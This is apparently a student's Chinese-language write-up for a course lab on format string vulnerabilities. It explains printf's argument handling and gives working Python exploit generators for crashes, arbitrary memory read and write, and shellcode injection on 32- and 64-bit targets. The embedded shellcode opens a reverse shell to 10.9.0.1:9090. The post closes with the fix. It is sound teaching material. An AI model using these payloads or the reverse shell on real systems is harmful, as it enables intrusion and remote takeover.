software-security-lab3

《软件安全》课程实验3,格式化字符串实验

input check lab

printf的实现

c语言中的参数个数不定函数。例如printf。实现方法如下。主要使用了va_list这个类型的数据结构。

image-20220421092738658

首先是va_list。这是一个数据结构,指向当前需要寻找的位置,每次指向下一个栈的高地址位置。每次取四个byte并且返回回来。这就实现了在栈上放置可以控制的数量的参数之后访问。

格式化字符串漏洞成因

格式化字符串的成因就是:当用户可以控制printf的格式化字符串输入时,就可以借助printf提供的va_list对栈上数据的访问(以及修改效果)实现任意地址读写。下面举例说明。

我们编写以下函数作为示例。

1
2
3
4
5
6
7
8
// gcc ./test.c -o test
#include<stdio.h>
int main()
{
char buf[20];
read(0,buf,20);
printf(buf);
}

我们用gdb调试一下。在printf的地方下断点,如下图所示。

image-20220422195546290

可以看到当我们输入%p.%p.%p.%p时,这便作为了格式化字符串传入printf。于是,printf将根据%p的含义,依次从栈上提取出四个地址输出。在我们本次的输入中,printf就将会输出上涂红色箭头指向的内容。这就能实现栈上数据任意地址读。

此外,还可以利用printf实现任意地址读。为了达成此目标,需要提前将要读的地址写入栈上,之后找到这个写入的地址在格式化字符串调用开始时所在的偏移位置。

上面这句话的含义,我们用下面的图展示出来。这是我们调用printf时的栈帧。

image-20220422200734751

我们的目的是打印我们能够控制的地址,但是我们可控的栈上数据(buf)可能在举例printf调用时栈很远的地方。这个地方能够储存一个我们可控的地址。

在上图中,我用aaaa表示这个地址。假设说我们知道aaaa和上图中格式化字符串参数之间的偏移,我们就能够通过足够的%s来控制输出aaaa地址中的内容。(printf提供了一种printf(%n$s)的方法来让程序员控制读取栈上第几个数据,n代表位置)

理解了上面的任意地址读,我们就很方便的可以实现任意地址写。主要思想还是类似的,由于我们能控制写的地址,我们可以使用printf提供的%n来往指定地址写入数据。好了,主要思想就是上面这些。接下来主要通过seed lab来做一下上面相关的实验。

task1 crash

让程序crash的方法有很多。对于格式化字符串,我们只需要构造参数使得格式化字符串打印一个不可访问地址的内容即可

我们构造的payload可以是

1
%s.%s.%s.%s.%s.%s.%s.%s.%s

只需要把上述内容发过去,printf就会试图连续的以字符串格式解析栈上数据为字符串然后输出。由于%s会访问不可读的内存(栈上存在NULL,不可访问),在成segegv,因此出现程序crash。

image-20220421095025478

task2

partA

这里让我们找到我们输入的参数被放在格式化字符串参数偏移什么地方的位置。也就是一开始对printf的介绍中的aaaa的位置。从下面这张图中可以找到对应位置。这个是第64位(黄色框框中的)。

image-20220421100429667

理解上面输出的含义:这表示printf的buffer和当前调用printf的时地址之差为64个地址长度。在x32下也就是(64*4)

partB

这里让我们打印出一个特定地址的内存。所用的方法和partA类似,也是找到一个栈上数据和当前格式化字符串开始位置栈内容的偏移。

使用以下payload即可。主要是使用%64$s打印第64个参数的位置的内容信息。我们先把我们要打印的地址放在我们payload的0到4位,然后用%64$s来打印从printf开始栈上第64位的内容。这里根据上面partA也就是一开始输入的number中储存的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0
number = 0x080b4008
content[0:4] = (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
# s = "%.8x"*12 + "%n"
s = "%64$s"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

下面是我们成功打印出来的内容。

image-20220421102435584

task3

part1

这里要求我们改一个确定地方的内存。在part2中我们已经做到能够读取特定地方内容。这里使用%x$n可以实现对对应位置修改数据。具体来说,payload为

1
%10c%67$naaa(0x080e5068

对上面的内容做解释:注意到字符串%10c%67$naaa的长度是12,在32位下是3个地址长度。那么我们后面输入的想要修改的地址就是在栈上第67位(67=64+3)。%10c表示输出10个字符,默认是空格,%67$n表示以四字节的大小修改从当前格式化字符串buffer开始的位置开始偏移67位的地址。最后的三个aaa是为了补全到4字节对齐(因为后面要放地址)。

因此,上面payload的含义是往0x080e5068写入10,写入单位是4字节。完整的payload如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0
number = 0x080e5068
content[12:16] = (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
# content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
# s = "%.8x"*12 + "%n"
s = r"%10c%67$naaa"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[0:0+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

修改后的目标地址数值如下图所示。

image-20220421104922421

part2

这里要修改为5000。我们可以继续用上面的4字节写入,但是这样会导致一次写入5000byte数据,这对于网络传输而言是不友好的。因此我在这里尝试采用小字节写入。也就是%x$hhn。下面详细解释一下Payload。

1
%68$n%80c%69$hhn(0x080e5068)(0x080e5069)

考虑到0x5000的16进制小端法表示为\x00\x50\x00\x00。其中0x080e5068需要储存\x00,0x080e5069需要储存\x50,0x080e506a和0x080e506b需要储存\x00。

我们需要在0x080e5068位置以4byte为单位写上0,因此也就是前面一部分payload%68$n。之后的%80c%69$hhn表示在0x080e5069位置以单字节写入80,也就是16进制的0x50。完整的payload以及生成效果如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0
number = 0x080e5068
content[16:20] = (number).to_bytes(4,byteorder='little')
number = 0x080e5069
content[20:24] = (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
# content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
# s = "%.8x"*12 + "%n"
s = r"%68$n%80c%69$hhn"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[0:0+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

image-20220421105447481

part3

和上面的原理基本类似。不过这里要写一个大的数字,并且没有\x00。那么我们就需要逐字节写入,防止一次性输入太多导致程序崩溃。

我们的payload构造如下所示。

1
%170c%76$hhn%17c%77$hhn%17c%78$hhn%17c%79$hhnaaa(0x080e506b)(0x080e506a)(0x080e5069)(0x080e5068)

首先明确目标。我们要写入0xaabbccdd也就是\xdd\xcc\xbb\xaa。具体来说,0x080e506b需要写入\xaa,0x080e506a需要写入\xbb,0x080e5069需要写入\xcc,0x080e5068需要写入\xdd。下面解释一下payload。

第一个%170c%76$hhn表示以单字节单位写入170到第76个参数(也就是0x080e506b)由于0xaa就是170,并且0xaa最小,因此我们优先写入。

第二个%17c%77$hhn表示往0x080e506a写入0xbb。这里可能会纳闷,不是17=0x11吗,为什么是0xbb呢? 这是因为格式化字符串每次写入的数据不仅是%n之前的数字,还包括了之前输出的所有数据。之前我们已经输出了一个0xaa,那么我们只要加上0x11就到达0xbb,由此,我们可以写入到第二个参数位置。

同样的,我们要往第三个和第四个地址中分别写入0xcc和0xdd。由于差都是0x11,所以我们考虑倒着写入,这样就不用考虑怎样在前面已经输出一个很大的数的条件下怎样写一个小的数字的问题了。格式和之前两个都是类似的。注意最后补齐到4对齐,方便写入正确的地址。

完整的exp和测试截图如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0

# This line shows how to store a 4-byte string at offset 4
# content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
# s = "%.8x"*12 + "%n"
s = r"%170c%76$hhn%17c%77$hhn%17c%78$hhn%17c%79$hhnaaa"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[0:0+len(fmt)] = fmt
number = 0x080e506b
content[len(fmt):len(fmt)+4] = (number).to_bytes(4,byteorder='little')
number = 0x080e506a
content[len(fmt)+4:len(fmt)+8] = (number).to_bytes(4,byteorder='little')
number = 0x080e5069
content[len(fmt)+8:len(fmt)+12] = (number).to_bytes(4,byteorder='little')
number = 0x080e5068
content[len(fmt)+12:len(fmt)+16] = (number).to_bytes(4,byteorder='little')

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

image-20220421105854846

task4

这里要求注入shellcode。其实简单来说,我们只需要把程序的某个返回地址改成shellcode地址即可。借助于上面task3我们能够实现任意地址修改,这里也就不难了。

question1

image-20220421110303017

为了用具体的地址表示,这里我就根据我的程序的输出来回答了。下面是我的程序的输出。

image-20220421110454979

从下面这张图可以看出,2所在的地址是0xffffd21c,也就是myprintf的frame pointer+4。而3是main中buf的起始地址。也就是0xffffd2f0。

image-20220421110856086

question2

image-20220421110907825

计算一下,那其实就是1的地址和3的地址之差。但是1的地址好像程序没有输出,回看一下源码,应该是要减掉dummy_function中buffer的长度。因此其实也就是1中我们计算的64。所以我们需要64个%x到达3的位置。

注入shellcode

由于shellcode已经给好,我们要做的,就是改返回地址为shellcode的地址即可。我们完全可以仿照task3的步骤完成。只不过这里往目标地址写入的内容需要自己找。

首先确定我们payload的安排。由于printf每次会将之前已经写过的数据用%n放到对应位置,我们考虑将shellcode放在格式化字符串后面。这样我们可以更方便的控制已经写过的数据长度。

用图的形式表示我们写入的数据方式。如下所示。

image-20220422231520364

解释一下我们构造的如下payload

1
%208c%75$hhn%12c%76$hhn%35c%77$hhn%78$hhnaaa(0xffffcfcd)(0xffffcfcc)(0xffffcfce)(0xffffcfcf)

首先,为了传输上的方便,我们都采用单个字节写入。首先明确目的是把shellcode的地址写入目标地址0xffffcfcc。其中shellcode的地址是0xffffd0dc我们把它拆分成单字节。

%208c%75$hhn这一步写入0xffffcfcd208也就是0xd0。

%12c%76$hhn这一步写入0xffffcfcc(208+12)=220=0xdc

%35c%77$hhn这一步写入0xffffcfce(208+12+35)=255=0xff

%78$hhn这一步写入0xffffcfcf0xff(不写入新数据)

由此,我们完成了没有溢出的格式化字符串驶入数据,写入了一个0xffffd0dc

发现程序输出了success,说明是可以成功的,接下来尝试打开反向shell即可。只需要把shellcode中的内容改成反向shell即可。

image-20220421123339345

image-20220421123840114

下面是完整的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python3
import sys

# 32-bit Generic Shellcode
shellcode_32 = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')


# 64-bit Generic Shellcode
shellcode_64 = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/ls -l; echo '===== Success! ======' *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_32

# Put the shellcode somewhere in the payload
start = 0 # Change this number


############################################################
#
# Construct the format string here
#
frame_pointer = 0xffffcfc8
ret = 0xffffcfcc
buffer_start = 0xffffd0dc
s = r"%208c%75$hhn%12c%76$hhn%35c%77$hhn%78$hhnaaa"
fmt = (s).encode('latin-1')
content[start:start+len(fmt)] = fmt
number = 0xffffcfcd
content[start+len(fmt):start+len(fmt)+4] = (number).to_bytes(4,byteorder='little')
number = 0xffffcfcc
content[start+len(fmt)+4:start+len(fmt)+8] = (number).to_bytes(4,byteorder='little')
number = 0xffffcfce
content[start+len(fmt)+8:start+len(fmt)+12] = (number).to_bytes(4,byteorder='little')
number = 0xffffcfcf
content[start+len(fmt)+12:start+len(fmt)+16] = (number).to_bytes(4,byteorder='little')

print(len(fmt)+16)
# pause()

content[start+len(fmt)+16:start+len(fmt)+16+len(shellcode)] = shellcode


############################################################

# Save the format string to file
with open('badfile', 'wb') as f:
f.write(content)

x64

和32位的思路一模一样。唯一不同的是文档中也提到的:64位地址中不可避免的会出现0。但是由于我们不用strcpy,用的是fgets,可以直接读入\x00。我们只需要这样构造格式化字符串的payload即可。

image-20220423144754472

注意,和上面唯一不同的地方在于,这里的地址只能放在格式化字符串的后面。上面32位的可以放在前也能放在后。这里只能放在后面。因为如果Printf遇到00就不会接着往下打印,那么也就不会执行到我们上面黄色的格式化字符的地方。由于上面32位的我们也是将地址放在格式化字符串后面,所以基本没有什么问题。

下面最后解释一下payload

1
%64c%42$hhn%63c%43$hhn%97c%44$hhn%31c%45$hhn%46$hhn%47$hhnaaaaba(0x00007fffffffdf18)(0x00007fffffffdf1d)(0x00007fffffffdf19)(0x00007fffffffdf1b)(0x00007fffffffdf1a)(0x00007fffffffdf1c)

%64c%42$hhn表示往0x00007fffffffdf18写入64也就是0x40。

%63c%43$hhn表示往0x00007fffffffdf1d写入(63+64)也就是0x7f

%97c%44$hhn表示往0x00007fffffffdf19写入(63+64+97)也就是0xe0

%31c%45$hhn表示往0x00007fffffffdf1b写入(63+64+97+31)也就是0xff

%46$hhn%47$hhn表示往0x00007fffffffdf1a以及0x00007fffffffdf1c写入0xff(和之前一样)。

综上所述,我们往0x00007fffffffdf18写入了0x7fffffe040。注意,小端法中高位是指先将数字转换为小端法之后的高位。例如0x7fffffffe040转换为\x40\xe0\xff\xff\xff\x7f\x00\00。其中00是转换后的最低位,因此要填充到地址的最高位。那么我们需要在相应字节如下填写。

image-20220423151615031

这里也终于算是搞清楚了小端法的意义:我们首先把要储存的东西转化为小端法。例如0xdeadbeef就是\xef\xbe\xad\xde,之后储存就是从左往右依次储存,比如我们要存在0x1000的位置,那么0x1000就是\xef,0x1001就是\xbe,0x1002就是\xad,0x1003就是\xde,这个储存方法都是不变的,都是从左边开始往右边存。之前讲的什么低地址放高位之类的,真是害人不浅啊….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python3
import sys

# 32-bit Generic Shellcode
shellcode_32 = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')


# 64-bit Generic Shellcode
shellcode_64 = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/ls -l; echo '===== Success! ======' *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_64

# Put the shellcode somewhere in the payload
start = 0 # Change this number


############################################################
#
# Construct the format string here
#
frame_pointer = 0x00007fffffffdf10
ret = 0x00007fffffffdf18
buffer_start = 0x00007fffffffdfd0
s = r"%64c%42$hhn%63c%43$hhn%97c%44$hhn%31c%45$hhn%46$hhn%47$hhnaaaaba"
fmt = (s).encode('latin-1')
content[start:start+len(fmt)] = fmt
number = 0x00007fffffffdf18
content[start+len(fmt):start+len(fmt)+8] = (number).to_bytes(8,byteorder='little')
number = 0x00007fffffffdf1d
content[start+len(fmt)+8:start+len(fmt)+16] = (number).to_bytes(8,byteorder='little')
number = 0x00007fffffffdf19
content[start+len(fmt)+16:start+len(fmt)+24] = (number).to_bytes(8,byteorder='little')
number = 0x00007fffffffdf1b
content[start+len(fmt)+24:start+len(fmt)+32] = (number).to_bytes(8,byteorder='little')
number = 0x00007fffffffdf1a
content[start+len(fmt)+32:start+len(fmt)+40] = (number).to_bytes(8,byteorder='little')
number = 0x00007fffffffdf1c
content[start+len(fmt)+40:start+len(fmt)+48] = (number).to_bytes(8,byteorder='little')


print(len(fmt)+16)
# pause()

content[start+len(fmt)+48:start+len(fmt)+48+len(shellcode)] = shellcode


############################################################

# Save the format string to file
with open('badfile', 'wb') as f:
f.write(content)

image-20220421131130079

接下来尝试反向shell,可以看到也成功了。

image-20220421131242295

fix the problem

解决这个问题其实很简单..只需要把printf加上一个固定的格式化字符串就可以了。

将下面的my_printf改成如下所示内容即可。最重要的就是把printf加上一个固定的格式化字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void myprintf(char *msg)
{
#if __x86_64__
unsigned long int *framep;
// Save the rbp value into framep
asm("movq %%rbp, %0" : "=r" (framep));
printf("Frame Pointer (inside myprintf): 0x%.16lx\n", (unsigned long) framep);
printf("The target variable's value (before): 0x%.16lx\n", target);
#else
unsigned int *framep;
// Save the ebp value into framep
asm("movl %%ebp, %0" : "=r"(framep));
printf("Frame Pointer (inside myprintf): 0x%.8x\n", (unsigned int) framep);
printf("The target variable's value (before): 0x%.8x\n", target);
#endif

// This line has a format-string vulnerability
printf("%s",msg); // <===== 这里原来是printf("msg");

#if __x86_64__
printf("The target variable's value (after): 0x%.16lx\n", target);
#else
printf("The target variable's value (after): 0x%.8x\n", target);
#endif

}

这样用户就不能控制格式化字符串,只能控制参数。从而让用户失去了对栈操作的权力。

文章目录
  1. 1. input check lab
    1. 1.1. printf的实现
      1. 1.1.1. 格式化字符串漏洞成因
    2. 1.2. task1 crash
    3. 1.3. task2
      1. 1.3.1. partA
      2. 1.3.2. partB
    4. 1.4. task3
      1. 1.4.1. part1
      2. 1.4.2. part2
      3. 1.4.3. part3
    5. 1.5. task4
      1. 1.5.1. question1
      2. 1.5.2. question2
      3. 1.5.3. 注入shellcode
    6. 1.6. x64
    7. 1.7. fix the problem
|